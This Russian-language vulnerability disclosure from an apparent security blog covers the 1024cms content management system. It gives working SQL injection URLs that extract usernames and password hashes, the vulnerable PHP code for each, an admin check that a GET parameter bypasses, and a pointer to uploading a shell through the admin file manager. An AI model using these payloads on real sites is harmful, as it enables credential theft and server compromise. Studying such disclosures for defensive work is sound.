• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [WEB2.0 Detective]
    [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Уязвимости 1024cms

    Эти уязвимости были когда-то мною опубликованы на античате

    Сайт: www.1024cms.org
    Префикс таблиц по умолчанию: otatf_
    Алгоритм хеширования: md5($pass)

    SQLi

    Движок просто кишит инъекциями и другими уязвимостями. Кстати, он отказывается работать при register_globals=on, это видимо у них предосторожность такая…) Поскольку в противном случае число уязвимостей удвоится.
    В модуле форума:
    http://localhost/1024/index.php?p=viewforum&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2) ))--+
    Уязвимая строчка в 1024\pages\viewforum\default\content.php:

    ...
    $get_cat_type = mysql_query("SELECT * FROM ".$prefix."subcats WHERE id='".$id."'") or die("Cannot get category type: ".mysql_error());
    ...


    В RSS: //Плин, теперь нагуглил, что бага старая, но пусть будет
    http://localhost/1024/rss.php?t=vp&id=1'+or+(select+count(*)+from+(select+1+union+sel ect+2+union+select+3)x+group+by+concat((select+pas sword+from+otatf_users+limit+0,1),floor(rand(0)*2) ))--+
    Уязвимый участок \1024\rss.php:

    ...
    else if ($_GET['t'] == "vp") {
    $topic_id = $_GET['id'];

    //Start RSS vars
    $items = array();
    $channel = array();

    //Get topic
    $get_tp = mysql_query("SELECT t.uid AS t_uid, t.title AS t_title, t.content AS t_content, t.date AS t_date, f.id AS f_id, f.name AS f_name, f.description AS f_descrip FROM ".$prefix."topics t, ".$prefix."subcats f WHERE t.id='".$topic_id."' AND f.id=t.tid") or die("Cannot get TP: ".mysql_error());
    ...


    В различных служебных скриптах: //таких инъекций в этом движке, похоже, тучи, как и подобных скриптов
    http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_it.php?cat='+union+select+1,concat(userna me,0x3b,password)+from+otatf_users--+
    Эта скуль очень приятная, запрос выполняется по циклу и выводятся все поля в теге <option>.
    Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_it.php:

    ...
    $get_cats = mysql_query("SELECT id, name FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get cats: ".mysql_error());
    ...
    <option value="<?php echo $cat['id']; ?>"><?php echo clean_smart($cat['name']); ?></option>
    ...


    http://localhost/1024/pages/download/admin/ajax/sub/weight_sub.php?cat='+union+select+1,concat(usernam e,0x3b,password),3+from+otatf_users--+
    Такая же приятная скуль, выдаёт красивый список.
    Уязвимый код в \1024\pages\download\admin\ajax\sub\weight_sub.php :

    ...
    <?php
    $get_cat = mysql_query("SELECT id, name, weight FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get forums: ".mysql_error());
    while($cat = mysql_fetch_array($get_cat)) {
    ?>
    <li id="d_<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></li>
    <?php } ?>
    ...


    http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_do.php?name=1&type=1&descrip&id=1'+and+sleep(10)--+
    Что-то в этой инъекции в UPDATE у меня вывод не получился, туплю где-то, можно перебором ломать, например, со SLEEP().
    Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_do.php:

    ...
    mysql_query("UPDATE ".$prefix."downloadsub SET category='".$_GET['cat']."', name='".quote_smart($_GET['name'])."', description='".quote_smart($desc)."' WHERE id='".$_GET['id']."'")
    ...


    Кстати у них в этих админских скриптах весьма оригинальная защита от доступа несанкционированного:

    if($_SESSION['type'] !== '1' || $_GET['type'] !== '1') die("Incorrect Session");


    Такая строчка там встречается очень часто, о чём думали разрабы, я не знаю.

    CE

    В админке есть разные варианты заливки шелла, например, через файловый менеджер:
    http://localhost/1024/admin/index.php?op=files

    © BECHED